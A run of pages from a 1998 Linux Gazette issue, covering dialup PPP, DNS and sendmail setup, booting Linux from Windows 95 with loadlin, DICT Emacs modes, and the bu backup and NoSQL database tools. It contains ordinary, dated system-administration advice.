<LI>Type ifconfig and press return. You should now see TWO entries. One for the loopback adapter, and one called ppp0 or something.</LI>
<LI>Jump up and down and do the happy dance. You are connected!</LI></OL>
<P> </P>
<P>RedHat 5.1:</P>
<P>If you have followed my instructions previously, and chose the proper ISP, get him on the line and have him walk you through the configuration process, as it will be unique to each ISP.</P>
<P> </P>
<P>If not, read on for some general pointers:</P>
<P>First, is you haven't done it already, make sure you know which interface you modem is connected to. You will need to know this information. If it has not already been done, use the modemtool from the Control Panel to create a symbolic link from the serial port your modem is connected to /dev/modem. Alternately, you can enter this port directly into the dialog box when prompted as described below.</P>
<P> </P>
<P>Generally speaking, the symlink to /dev/modem seems to be the way to go, so I won't go into why I don't use it. However, in any case you should know which COM port it resides on just in case you run into trouble, so:</P>
<P> </P>
<P>COM 1:	/dev/cua0; or /dev/ttsy0</P>
<P>COM2:	/dev/cua1; or /dev/ttsy1</P>
<P>Etc.</P>
<P> </P>
<P>RedHat users, provided the do not require any off the wall configuration options, have it pretty easy here. Simply choose Control Panel/Network Configuration/Interfaces, then choose Add. Choose PPP when prompted for the Interface type. Next, enter your ISP access number, login name and password.</P>
<P> </P>
<P>Should your modem require any special customization, choose Customize from the dialog box. When you are finished, choose save and quit, then activate the interface either by highlighting the ppp0 entry in the Network Configurator, or on newer systems, you may use the Usernet tool located in Start/Programs/Networking. If all goes well, your modem should squeal like a pig for a moment, login, and then you should be off and running!</P>
</FONT><B><P> </P>
<P>Configuring the Domain Name Service to function on a dialup connection.</P>
</B><FONT SIZE=2><P>This is fairly simple. We simply need to tell the Linux box to let the ISP DNS resolve hostnames for us. First, if you are currently running named (the daemon,) or BIND (the collection of programs that make named work,) cd to /etc/hosts.conf and make sure there is a line similar to the following contained there:</P>
<P>order hosts, bind</P>
<P> </P>
<P>Now, let's tell the resolver (a magic little fellow constantly zipping around the guts of the machine looking things up,) how to find the outside world and talk to it.</P>
<P> </P>
<P>From a term window or command prompt, cd to /etc/resolv.conf, then add your ISP's nameservers here using the following syntax:</P>
<P> </P>
<P>nameserver <space> IP Address of the nameserver</P>
<P> </P>
<P>For instance:</P>
<P>nameserver 196.356.2.4</P>
<P>nameserver 196.356.2.5</P>
<P> </P>
<P>NOTE: the DNS machines will be searched in the order they are entered into the file, so put your ISP's primary first, secondary second. </P>
<P> </P>
<P>During the configuration process your respective setup program may or may not have added additional information to this file. If so, comment them out by placing a pound (#) sign in from the line that contains the information.</P>
<P> </P>
<P>To prevent a flood of e-mail on this, yes, I am aware there are many directives you can use here, and many DNS things such as a caching-only server you can employ to enhance the performance of the resolver, and these things will be covered in a later installment, so be patient.</P>
<P> </P>
<P> </P>
</FONT><B><P>Configuring Sendmail to function on a dialup connection.</P>
</B><FONT SIZE=2><P>Sendmail, like DNS, is an art unto itself. However, here are some general suggestions:</P>
<P> </P>
<P>Cd to /etc/</P>
<P>Edit sendmail.cf, and look for lines like the following:</P>
<P># "Smart" relay host (may be null)</P>
<P>DSyour.isp.mailmachine</P>
<P> </P>
<P>Next look for these:</P>
<P>#who do I send unqualified names to (null means deliver locally)</P>
<P>DRyour.isp.mailmachine</P>
<P> </P>
<P>#who gets all local email traffic ($R has precedence for unqualified names)</P>
<P>DHyour.isp.mailmachine</P>
<P> </P>
<P>Finally, you may or may not want to use the following directive - read the docs.</P>
<P> </P>
<P>#who do I masquerade as (I forget the rest of it, just look for the masquerade keyword.)</P>
<P>DMyour.isp.domain.name</P>
</FONT><B><P> </P>
<P>Testing and troubleshooting your basic and dialup configuration.</P>
</B><FONT SIZE=2><P>On the connectivity side, usually it's a pass/fail operation. Either you get connected or you don't. Check /var/log/messages for some possible clues as to what went wrong.</P>
<P> </P>
<P>If you connect, but can't do anything, it could be a thousand things, but here are some general guidelines to diagnose the problem:</P>
<OL>
<LI>Can you ping the out side world by IP address? If yes, proceed. If no, something is wrong with your connection or the way it was set up. ifconfig and netstat -r can be of help here.</LI>
<LI>Can you ping the outside world by hostname? If yes proceed, if no, you have a name resolution problem. Check your resolv.conf and make sure that your ISP DNS machines are the only things in there. Check your hosts file. Put your local info here. Make sure your local host (loopback) has an entry.</LI>
<LI>Do you get connected, but sometimes lose your connection while reading stuff, or otherwise appear to have no activity on your line? Your ISP is probably running an automatic termination program AKA a serial killer, to prevent a line being locked up if a user's modem does not exit cleanly. While some ISP's frown upon it, the way around this is to run a "ping-forever" or keepalive shell program to defeat the timeout script.</LI></OL>
</FONT><P> </P>
<B><P>Some quick and dirty "cheats" if all else fails.</P>
</B><FONT SIZE=2><P>If you have trouble getting Sendmail to retrieve your incoming mail and news from the outside world, simply use Netscape to access your incoming mail on your ISP. Provided you enter the correct information into the dialog boxes, Netscape has it's own pop3 interface, and doesn't need anything else.</P>
</FONT><B><P> </P>
<P>Stupid Network Tricks.</P>
<UL>
</B><FONT SIZE=2><LI>Ever having problem getting through to a slow site? Downloads breaking all the time on large files? Here's a little trick I learned some time ago. If you followed my advice above, you now have an adequate ISP, with at least a T-3 to the Internet, and shell and telnet access to your account. Here's the trick - use that T-3! If you telnet, or rsh into your account on your ISP's machine, you can then take advantage of the FULL capacity of their network for problematic downloads. Of course, how much you can download at a time is governed by how much space your account has allocated to it (typically ~10 - 20 MB.) Granted this creates the extra step of having to then turn around and download or rcp or whatever to your local machine, but as least this gives you a way to get things that are often difficult to obtain normally. Since a TTY only takes about 2400 - 9600 baud, you can still be doing other things on your local machine while the remote session is running. </LI>
<LI>Activating the dialup connection at boot time - This can be accomplished using the Control Panel/Networking Configuration thingy in RedHat. For Slackware, e-mail me, I'm working on a tutorial for the hack I use now, and I'm also writing a program to do it automatically. </LI>
<LI>Killing the PPP connection - there are several ways to do this, depending on what machine you are on, and how you started it in the first place. On a RedHat box, You can deactivate the ppp0 interface with the Network Configurator, or the Usernet tools. On a Slackware box, the way we have it set up now, and also on the RedHat box if the whizbang X deal doesn't work, this always will: </LI>
<LI>ps uax |more </LI>
<LI>Tap enter and move down till you see the ppp daemon running. Not the process ID PID of the daemon, then issue the following command: </LI>
<LI>kill -9 PID of the daemon.</LI></UL>
<P> </P>
</FONT><B><P>Coming next month: Connecting your Linux machine to a network and making it an Internet Gateway for your other machines!</P>
<P> </P>
<P>Resources for further information.</P>
</B><FONT SIZE=2><P>The Linux Documentation Project:</P>
<P>http://sunsite.unc.edu/LDP/</P>
<P>General Networking:</P>
<P>Network Administrator's Guide, System Administrator's Guide, and the NET-3 HOW-TO</P>
<P>The Linux User's Guide</P>
<P>DNS HOW-TO</P>
<P>ISP Hookup HOW-TO</P>
<P> </P>
<P>Additionally, OS specific information can be found at the following websites:</P>
<P>Slackware 3.5:</P>
<P>http://www.cdrom.com/</P>
<P>RedHat 5.1:</P>
</FONT><P><A HREF="http://www.redhat.com/"><FONT SIZE=2>http://www.redhat.com/</FONT></A></P>
<FONT SIZE=2><P> </P>
<P>Finally, check the comp.os.linux* newsgroups, or drop me an e-mail.</P>
<P> </P>
<P> <HR> <P>
<center><H4>Previous ``Linux Installation Primer'' Columns</H4></center>
<p>
<A HREF="../issue32/jenkins1.html">Linux Installation Primer #1, September 1997</A><BR>
<A HREF="../issue33/jenkins2.html">Linux Installation Primer #2, October 1997</A>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Ron Jenkins <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./anderson.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./bennet.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">Loadlin.exe Installer</font></H1>
<H4>By <a href="mailto:bbennet@mb.sympatico.ca">Bill Bennet</a></H4>
</center>
<P> <HR> <P>
<center><h2>This makes a loadlin.exe button on a Windows95 desktop</h2></center>
<p>How many times have you sat and waited for Windows to shut down while you rebooted? How many times have you read that "Please wait..." message? If I show you how to reboot in under one minute will you give it a try? Rhetorical questions all, yet there is a need for a fast reboot out of Windows if only to preserve your even temper and a sense of decorum. This little piece will install loadlin as your linux boot program and get you out of the Windows environment in under one minute. The by-product will be a login prompt for linux. I hope I do not get any complaints about this blatant effort to undermine the monopoly OS.<br>
<h2>RedHat 5.1 can do this thing</h2>
<p>Just about all linux distributions can do this little loadlin button on the desktop of DOS 7.0. The odd cat in the bunch is RedHat; an example is that they insist on loading up the /usr directory when /usr/local will do nicely. They have some quirks, but don't we all? This article fires up RedHat 5.1 and makes them fit in.
<p>The RedHat installer will offer you a chance to add 'DOS and Windows connectivity'. Do it. This will let you mount the old DOS partition from linux and also allow you to copy your kernel image (vmlinuz) to a directory on the DOS partition to be booted by loadlin.exe.
<p>The official RedHat position on LILO is a good one. They always offer to put LILO on the master boot record or the first sector of the first partition. This gives you a solid base to make your bootings work. They also let you skip the LILO installation.
<h2>Skip LILO</h2>
<p>To use loadlin.exe, we will first skip LILO. The prompt in the RedHat installer asks you where to install LILO and I put the asterisk on the 'first partition' choice and Tab to the 'skip' choice and hit Enter.<br>
<p>When you startx, the control panel's linuxconf program (System Configuration) gives you a chance to set the 'Config-boot mode-LILO defaults' for your machine. Make sure that the 'LILO is used to boot this system' button is left 'up'.
<h3>All hail thenerd and his incessant questions!</h3>
<p>(I got this idea from 'thenerd' in Portage la Prairie, Manitoba. The parents who own the machine did not want anything to change in the way that they played with their DOS. They did not want to have any changes in the bootup of their machine. So, if we boot from DOS to linux, they will never know about or see any 'LILO boot:' messages and they can remain fossilized.)
<br>
<h2>Make a bootdisk please</h2>
<p>The RedHat installer asks you nicely if you will be making a boot disk and you will always answer 'yes'. Do not pass go. Go directly to 'yes'. You will thank me if you get those 'signal 11' errors (a whole other article). The beauty of this bootdisk is that you can experiment with boot time options for the kernel. Once you get linux rolling you can make a boot disk with the mkbootdisk command.<br>
<h2>Fasten seatbelts during re-entry</h2>
<p>After the install is complete, you will be rebooted. Pull out the boot disk because we are going back to DOS to set up the boot button. Since we do not have LILO on the master boot record, the system will boot DOS as usual. Yes I have made a big assumption about you installing linux AFTER the DOS is installed. It only makes sense when dealing with a predatory OS like DOS to let it think it has the whole system to itself. Once the master boot record is erased and overwritten by DOS you then can install a more sophisticated system like linux.
<h3>Special note on PartitionMagic 4.0</h3>
<p>Direct from the technical support guru Will Erickson at powerquest.com:<i> "PartitionMagic 4.0 does fully support Linux ext2 partitions. It is able to re-size them without any problems."</i>
<p> This is also the program to get for re-sizing your single FAT32 partition into something more reasonable, like maybe a linux web server and a personal linux workstation as well as a DOS game machine.
<h2>"The illegal operation occurred in this directory, Mr. Gates."</h2>
<p>The directory for your linux kernel is your choice. Make one called 'c:\linux\kernels' and you can copy the 'linux.bat' verbatim. Now that we have a place for loadlin.exe to work, put it IN THE PATH. Do this by putting it in a DIRECTORY that is in the path. I already have a 'c:\utils' directory on the path and that is where you will find loadlin.exe.
<h2>The batch</h2>
<p>The edit program works nicely for this batch file writing, but notepad will work for those of you without the command prompt. Here is the abbreviated linux.bat:
<br>
<p>rem This ensures that any unwritten disk buffers are flushed
<p>smartdrv /C
<p>rem This loads up the kernel and boots linux
<p>loadlin c:\linux\kernels\vmlinuz root=/dev/hda2 ro
<br>
<h2>Root equals what?</h2>
<p>The '/dev/hda2' assumes that your linux boot partition is the second one on the first hard disk. Your special and unique installation gets entered as the 'root=your_root_partition_here'. The 'ro' will mount it 'read only' and that is just standard procedure. Do not make it 'rw' if you have not read about what pitfalls await.
<h3>Special linux power</h3>
<p>My RedHat 5.1 partition is booting happily from /dev/hdc9 which is not any where near the 1024 cylinder limit; in fact it is 2 gigabytes over the limit. It is also on an extended partition. This is called a logical partition as opposed to a primary partition. The linux system of GNU components has got to be the most super-powered and adaptable OS on the market. It is booting <i>without the BIOS from a logical partition</i> in an extended partition that is 2 gigabytes over the 1024 cylinder limit. This is because loadlin.exe was developed by the linux web hacker method and the kernel folks and the LILO folks were included in the process. It is a powerful development model.
<h2>What is vmlinuz?</h2>
<p>The vmlinuz is not there yet. It is the name you will give to your kernel image. We need to use the boot disk in a moment so that we can put a kernel in 'c:\linux\kernels'.
<br>
<p>Save your 'linux.bat' in a directory ON THE PATH. I already have a 'c:\batches' directory that holds '.bat' files and this is where you will find 'linux.bat'.
<h2>The shortcut</h2>
<p>At the DOS 7.0 desktop (Windows95 is just a window manager for DOS 7.0) you will now right click your rodent for the momentous creation of a new shortcut. Select your new 'linux.bat' with the 'browse' button beside the little command line window. Choose 'open' and it will be entered as the command line for your new shortcut.
<p>Do a right click with your rodent on the new shortcut and select 'properties'. Then select 'program' and then the 'advanced' button. You need to make sure that your new batch will use the MS-DOS mode. You also need to use the current configuration, whatever that may be. The job is<a href="#winfoot1"> done.</a>
<p>Also give Microsoft a bit of credit for letting you choose a different icon.
<h2>The icon</h2>
<p>If you right click your rodent on your new shortcut, the menu item 'properties' will get you to the 'change icon' button. Push de button and make it go.The choices are very nice and I have a personal attachment to the 'dynamite' icon. Perhaps you will choose the lightning bolt. Suffice it to say that what is about to happen to Windows is very swift and violent. My icon shows a detonator and some red sticks of dynamite and it is labelled 'LINUX'. It looks ominous and tempting, especially when Windows gets itself into a jam.
<h2>The last look at 'that message from Gates'.</h2>
You know, since I have installed the LINUX button, I use it to shut down Windows. The best part of this trick is that since I started using the LINUX button I have not seen 'that message'. You have seen it and you are just as ticked off by it as the rest of us. It says "It is now safe to turn off your computer." This one and that infernal "Your program has performed an illegal operation and will be shut down" message are probably the most offensive and arrogant messages from a supplier to its clients in the history of business relations. I thank the boys in Redmond, Washington for offending so many nice people. We are enjoying our linux boxes so much more when we reflect on the nice manners of our fellow travellers.
<h2>Time to test our work:</h2>
<ol>
<li>make a new linux box without LILO
<li>make a boot disk for linux
<li>boot to DOS
<li>make a directory for the kernel
<li>write a batch file for loadlin.exe
<li>put the batch file on the path
<li>copy loadlin.exe to a directory on the path
<li>make a shortcut to the batch file on the desktop
<li>select or make a groovy icon for the shortcut
<li>select 'shutdown windows' for perhaps the last time
<li>boot the boot disk to linux
<li>read the rest of this drivel
</ol>
<h2>The rest of this drivel</h2>
<p>Now that the boot disk has you in linux, you "log in". You did remember your password and you are now called 'root' by your staff. Type the mc command and Enter. You will now be using mc (Midnight Commander) to finish the job.
<p>The arrow keys will take you to '/boot'. Select 'vmlinuz-2.0.34-0.6' and then press Tab. Your cursor will jump to the other window.
<p>Now we will actually do some 'linuxing'. Enter this:
<p>mkdir /dos
<p>Then Enter this:
<p><a href="#bootfoot1">mount -t vfat /dev/hda1 /dos</a>
<p>This '/dev/hda1' assumes that this is your DOS partition. Your special and unique setup will be entered as the "/dev/your_DOS_partition_here". It gets mounted on the /dos directory that you just created.
<p>Then Enter this one:
<p>cp /boot/vmlinuz-2.0.34-0.6 /dos/linux/kernels/vmlinuz
<h2>Oh yeah? Eat LeftAlt-F2!</h2>
<p>Once these little commands are done, you will be able to navigate over to the '/dos' directory where your DOS partition is now visible and accessible from linux. Cool, eh?
<p>If things are just too busy on the mc screens, you can hold Ctrl and press the letter 'o' to get back to the shell prompt. Ctrl-o again to get back to mc.
<br>
<p>If you want to read documents and switch back and forth you can hold LeftAlt and press F2 to open another console; a virtual console. LeftAlt-F3 opens a third console. You get 64 of them with linux. Just log in again and fire up another version of mc or lynx or whatever. To get back, you select LeftAlt-F1. Four or five consoles should keep the average 'frantic reader' happy.
<h2>Copy the kernel to vmlinuz</h2>
<p>The mc cursor is put on the kernel. It is in '/boot' and it is called 'vmlinuz-2.0.34-0.6' in RedHat 5.1. Tab to get your cursor into the other window. Here is why there are two of those windows:
<p><strong>"You get to see what you are doing."</strong>
<p>Navigate to the '/dos' directory and then to the '/linux/kernels' directory.
<p>Make sure the cursor is on the kernel. Tab over there now.
<p>The kernel is highlighted in one window in '/boot' and the other window is in '/dos/linux/kernels'.
<h2>"F5 copy on two. Block somebody! Ready, break!"</h2>
<p>Press F5. Voila! You get the copy window and all you have to do is hit Enter. The result? You now have a kernel image with the wrong name in the DOS partition.
<p>Better yet, before you hit 'enter', type in the new name of your kernel:
<p>/dos/linux/kernels/vmlinuz
<p>The command line for these fiddlings is this:
<p>cp /boot/vmlinuz-2.0.34-0.6 /dos/linux/kernels/vmlinuz
<h3>But I already did that</h3>
<p>Caught me again. Yes, I got you to do something two different ways. Welcome to linux. Forgive me. I need you to open up your 'brain pathways', you see. The very best part of linux for me and a whole crew of other linuxians is that the computer is fun again. Isn't that why you got one in the first place?
<center><h1>The force is with you</h1></center>
<p>Well, we have put a 'vmlinuz' kernel image in the DOS partition. Time to reboot.
<p>Do NOT use the reset button. Your file system needs to be cleanly unmounted. Linux can 'fsck' and fix its way out of trouble but why tempt fate?
<p> Type in this powerful command:
<p>shutdown -r "now" (it also works without the quotes) This one does the reboot.
<p>More power: shutdown -h "now" (this one does the halt of everything so you can turn off the machine)
<p>Alternatively, RedHat and other distributions have implemented the 'Vulcan nerve pinch' so that folks switching from the 'crashing OS' can use Ctrl-Alt-Del to reboot.
<h2>Boot to DOS to boot to Linux</h2>
<p>The Windows95 machine lets you select plain DOS mode at boot up. If you are just so impatient to see your test results, then boot to plain DOS mode.
<p>Type in this fateful command:
<p>linux
<p>If you do want to see the fun stuff, let DOS do the bootgui thing all the way to the desktop.
<h2>"Thar she blows"</h2>
<p>Sitting on your desktop is the ultimate affront to the 'powers that be' at Microsoft. Push that button and you destroy fifteen years of monopolistic avarice. Push that button and declare your right to freedom of expression. Push that button and stand up and be counted. Push that button and boot linux.
<p>That about wraps it up from this desktop. Adios. Dynamite that sucker! <br>
<br>
<h3>Reference reading and links:</h3>
<p>BootPrompt-HOWTO - required reading for all linuxians
<p>Bootdisk-HOWTO
<p>Loadlin+Win95 mini-HOWTO
<p>The RedHat Linux Installation Support FAQ - good basic stuff here
<p><a href="http://www.vcnet.com/bms/">The Boycott Microsoft Page at www.vcnet.com/bms/</a>
<p><a href="http://www.redhat.com">The home of RedHat at www.redhat.com</a>
<p><a href="http://www.powerquest.com">The home of PartitionMagic 4.0 at www.powerquest.com</a>
<p><a href="mailto:bbennet@mb.sympatico.ca">The place to get ComputerHelperGuy easy-install files</a>
<p><a href="mailto:bbennet@mb.sympatico.ca">The electronic mailbox of Bill Bennet</a>
<h3><a name="winfoot1">Windows footnote</a></h3>
<p>It is a good idea to close all other programs before pushing your LINUX button. The boot process takes about three seconds before you are uncompressing linux and an elapsed time of 58 seconds to the login prompt. Your mileage may vary. Your DOS file system is left a-ok and properly 'unmounted', if it is correct to talk about a rebooting 'crashing OS' that way.
<p>Example: I have seven little programs running at startup and I added Netscape and an editor. Then I pushed the LINUX button. Elapsed time to the linux login prompt was 65 seconds.
<p>Make sure you save your work before you hit that button!
<h3><a name="bootfoot1">Booting footnote</a></h3>
<p>If the darn thing won't 'mount -t vfat' the /dos partition, it probably can not find the module dependencies file in '/lib/modules/preferred'. This is no sweat. Type this:
<p>man symlink
<p>Read the manual page for symlink. Then cd to '/lib/modules' and make a symlink called 'preferred' that points to your '/lib/modules/your_kernel_name_here'.
<p>The command line for this is:
<p>ln -s /lib/modules/your_kernel_directory_name_here(put a single space here)/lib/modules/preferred
<p>This is very easy with mc. Start with the mc command. Navigate over to '/lib/modules'.
<p>Put the cursor on the '/lib/modules/your_kernel_name_here' directory.
<p>Type F-9, then f (for file), then s (for symlink), then arrow down to 'Symbolic link filename:'.
<p>Enter this:
<p>/lib/modules/preferred
<p>Then Enter this:
<p>depmod -a
<br>
<p>The job is done.
<p>It is ok to delete it and redo it if you wish. Also, you can 'Esc-Esc' the Symlink window to cancel.
<hr>
<p><center><strong>made with GNU Emacs 20.2.1 on an i486 <BR>
running RedHat 5.1 Linux 2.0.35-2<BR>
No animals were eaten during the testing of these procedures.<BR>
All references to Mr. Gates are purely intentional.</strong></center>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Bill Bennet <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./jenkins3.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./ayers1.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center><h1>
<font color="maroon">Dict Continued</font>
</h1></center>
<center>
<h4>By <a href="mailto: layers@marktwain.net">Larry Ayers</a></h4>
</center>
<hr>
<p>Last month I wrote about the DICT client-server protocol, a GPL-licensed
system for looking up words in a variety of dictionary databases. I received
some feedback from Rik Faith, DICT's primary developer, in response to my
statements concerning the server's memory usage. Here is a quote from the
message:<br>
<blockquote>
<p>In your review, you mention that dictd requires a lot of memory to run, and
suggest that people may not want to run the service all of the time. First,
since dictd memory maps all of the files that it uses, ps may show that it is
"using" far more memory than it actually is. I suspect that this may vary
between kernel versions and ps, depending on how mmap'd memory is reported.
Second, dictd doesn't do anything when it is waiting for a socket connection,
so the memory it uses will be swapped out over time. Hence, I think it should
be fine to start dictd at boot time and to leave it running -- I do this on my
underpowered laptop and it works out ok in the sense that dictd doesn't use
any resources when it is not responding to queries. If you happened to notice
a situation where a waiting dictd is using cpu time, then that's a bug that
I'd like to fix.
<p>Thanks for your review of dict-related software -- I hope we can improve
dictd and related tools a great deal over the next 6-12 months.
</blockquote>
<p>I was curious about the dictionary index files and just how they had been
generated. In response to my query, Faith responded:<br>
<blockquote>
We currently write one-off scripts for each input database. These sources
are all distributed on the ftp site. We are moving toward a dictionary
interchange format (DICF) from which indexes will be automatically
generated. But one-off scripts will still be required to convert the
databases into DICF format. We expect, however, that a large amount of new
material will be written directly in DICF. Our plan was to have DICF ready
by 4Q1998, but this schedule may slip.
</blockquote>
<hr>
<p>When I first began to use the DICT system, it occurred to me that an Emacs
mode would be useful, so that a keystroke would open up a window showing
definitions of the word under the cursor. Some time later I was browsing the
<i>gnu.emacs.sources</i> newsgroup and happened to find two independently
developed dict.el files, both functional but with slightly different features.
<p>Alexander Vorobiev's version was the first one I tried. It works well
under both GNU Emacs and XEmacs. This dict.el doesn't have any mouse bindings
included, but does have a feature I appreciate: rather than directly sending
the input word to the <i>dictd</i> server, the word first appears in the
mini-buffer at the bottom of the screen, allowing it to be edited first. For
example, this can useful if you would like the singular rather than the plural
form of a word defined, or if the definition of a phrase is sought.
<p>The other dict.el was written by Shenghuo Zhu. This one also will work on
both emacsen, but the mouse-binding (button two looks up the word under the
cursor) works only with GNU Emacs, though it probably wouldn't be too
difficult to adapt it to XEmacs. Syntax-highlighting for GNU Emacs is also
included.
<p>Both modes allow a keystroke combination to be set for looking up a word;
I've been using <kbd>Control-c-Enter</kbd>. Since the two files are small, I've
bundled them into one gzipped tar archive and included them with this issue of
the Gazette. You can find the file <a href="./ayers_dictmodes.tar.gz">here</a>.
Instructions for installation of the modes can be found near the beginning of
each file. In the archive you will find that one of the modes has been renamed
dict2.el; before using that mode it should have its original name, dict.el, restored.
<p>Dict-mode can even be used as a substitute for the Emacs Ispell
spell-check interface. If a misspelled word is passed to the <i>dictd</i>
server, a response such as this will be generated:<br>
<pre>
No definitions found for "arcive", perhaps you mean:
web1913: Archive Argive Arrive
wn: archive Argive arrive
foldoc: archive
</pre>
<p>Of course Ispell is more suitable for spell-checking an entire buffer, but
if a single word's spelling is doubtful, dict-mode offers an alternate solution.
<hr>
<!-- hhmts start -->
Last modified: Wed 28 Oct 1998
<!-- hhmts end -->
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Larry Ayers <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./bennet.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./ayers2.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center><h1>
<font color="maroon">How Not To Re-Invent The Wheel</font>
</h1></center>
<center>
<h4>By <a href="mailto: layers@marktwain.net">Larry Ayers</a></h4>
</center>
<p><hr><p>
<center><h3>Introduction</h3></center>
<p>With all of the excitement lately about various software firms planning Linux
ports of their products, it's easy to lose sight of the great power and
versatility of the unsung small utilities which are a part of every Linux
distribution. These tools, mostly GNU versions of small programs such as
<i>awk</i>, <i>grep</i> and <i>sed</i>, date back to the early pioneer days of
Unix and have been in wide use ever since. They typically have
specialized capabilities and become especially useful when they are chained
together and data is piped from one to another. Often a shell script serves
as the matrix in which they do their work.
<p>Sometimes a piece of software native to another operating system is ported
to Linux as an independent unit without taking advantage of pre-existing tools
which might have reduced the size of the program and reduced memory usage.
It's always a pleasure to happen upon software written with an awareness of
the power of Linux and its native utilities. <i>Bu</i> is a backup program
and <i>NoSQL</i> is an ASCII-table relational database system; what they have
in common is their usage of simple but effective Linux tools to accomplish
their respective tasks.
<hr>
<center><h3>
<font color="maroon">Shell-script Backups With bu</font>
</h3></center>
<p>Making a backup of the myriad files on a Linux system isn't necessary
for most stand-alone single-user machines. Backing up configuration and
personal files to floppies or other removable media is normally all that is
necessary, assuming that a recent Linux distribution CD and a CDROM drive are
available. The situation becomes more complex with multi-user servers or with
machines used in a business setting, where the sheer number of irreplaceable
files makes this simple method impractical and time-consuming; in these cases
the traditional method in the unix world has been to use <i>cpio</i> or
another archiving utility to copy files to a tape drive. Though the price of
hard disks has plummeted in recent years while their capacity has ballooned,
reliable tape drives capable of storing the vast amounts of data a modern
hard-disk can hold are still quite expensive, sometimes rivalling the cost of
the computer they protect from loss of data.
<p>Vincent Stemen has developed a small backup utility called <i>bu</i> which
is shell-based and makes good use of standard Linux utilities such as
<i>cp</i> and <i>sed</i>. Rather than being intended for
backups to tape or other streaming device, <i>bu</i> is designed to mirror
files on another file-system, preferably located on a separate hard drive.
<p><i>Bu</i> is just a twelve kilobyte shell script along with a few
configuration files. It's remarkably capable; compare this list of features
with those of other backup utilities:<br>
<ul>
<li>Checks timestamps and only copies new or changed files
<li>Deals with symbolic links intelligently
<li>Writes a log-file upon completion
<li>Will ignore directories which are mounted filesystems
<li>Easy specification of files and directories to include or exclude
</ul>
<p><i>Bu</i> in its earlier versions used <i>cpio</i> extensively, but due to
a problem with new directory permissions <i>cp</i> is the main engine of the
utility now. <i>Cp -a</i> used by itself can be used to bulk-copy entire
filesystems to a new location, but the symbolic links would have to be dealt
with manually, which is time-consuming. Also missing would be the ability to
automatically include and exclude specific files and directories; <i>bu</i>
refers to two configuration files, <kbd>/usr/local/backups/Exclude</kbd> and
<kbd>/usr/local/backups/Include</kbd>, for this information.
<p>This small and handy utility isn't intended to completely supplant
traditional tape-drive backup systems, but its author has been using <i>bu</i>
as the basis of a backup strategy involving several development machines and
several gigabytes of data. <i>Bu</i> can be obtained from this
<a href="http://www.crel.com/bu/">web-page</a>; be sure to read the white
paper included in the distribution which details the rationale behind the utility.
<hr>
<center><h3>
<font color="maroon">The NoSQL Relational Database</font>
</h3></center>
<p>Carlo Strozzi (a member of the Italian Linux society) has developed a
relational database management system (RDBMS) which uses tab-delimited ASCII
tables as its data format. <i>NoSQL</i> is a descendant of an RDBMS developed
by Walter W. Hobbs (of the RAND Organization) called <i>RDB</i>. The
commercial product <i>/rdb</i> sold by Revolutionary Software is similar, but
uses more compiled C code for greater speed.
<p>Carlo Strozzi had this to say about his motivation for developing
<i>NoSQL</i> (excerpted from the documentation):
<blockquote><pre>
Several times I have found myself writing applications that
needed to rely upon simple database management tasks. Most
commercial database products are often too costly and too
feature-packed to encourage casual use. There are also plenty of
good freeware databases around, but they too tend to provide far
more that I need most of the times, and they too lack the
shell-level approach of NoSQL. Admittedly, having been written
with interpretive languages (Shell, Perl, AWK), NoSQL is not the
fastest DBMS of all, at least not always (a lot depends on the
application).
</pre></blockquote>
<p>The philosophy behind these database systems is well-expressed in an
article titled <cite>A 4GL Language</cite>, which was written by Evan
Schaffer and Mike Wolf, founders of Revolutionary Software. The paper
originally appeared in the March 1991 issue of the Unix Review; a Postscript
version is included with the <i>NoSQL</i> documentation. Here is the
abstract:
<blockquote><pre>
There are many database systems available for UNIX. But almost
all are software prisons that you must get into and leave the
power of UNIX behind. Most were developed on operating systems
other than UNIX. Consequently their developers had very few
software features to build upon, and wrote the functionality they
needed directly, without regard for the features provided by the
operating system. The resulting database systems are large,
complex programs which degrade total system performance,
especially when they are run in a multi-user environment.
UNIX provides hundreds of programs that can be piped together to
easily perform almost any function imaginable. Nothing comes
close to providing the functions that come standard with
UNIX. Programs and philosophies carried over from other systems
put walls between the user and UNIX, and the power of UNIX is
thrown away.
The shell, extended with a few relational operators, is the
fourth generation language most appropriate to the UNIX
environment.
</pre></blockquote>
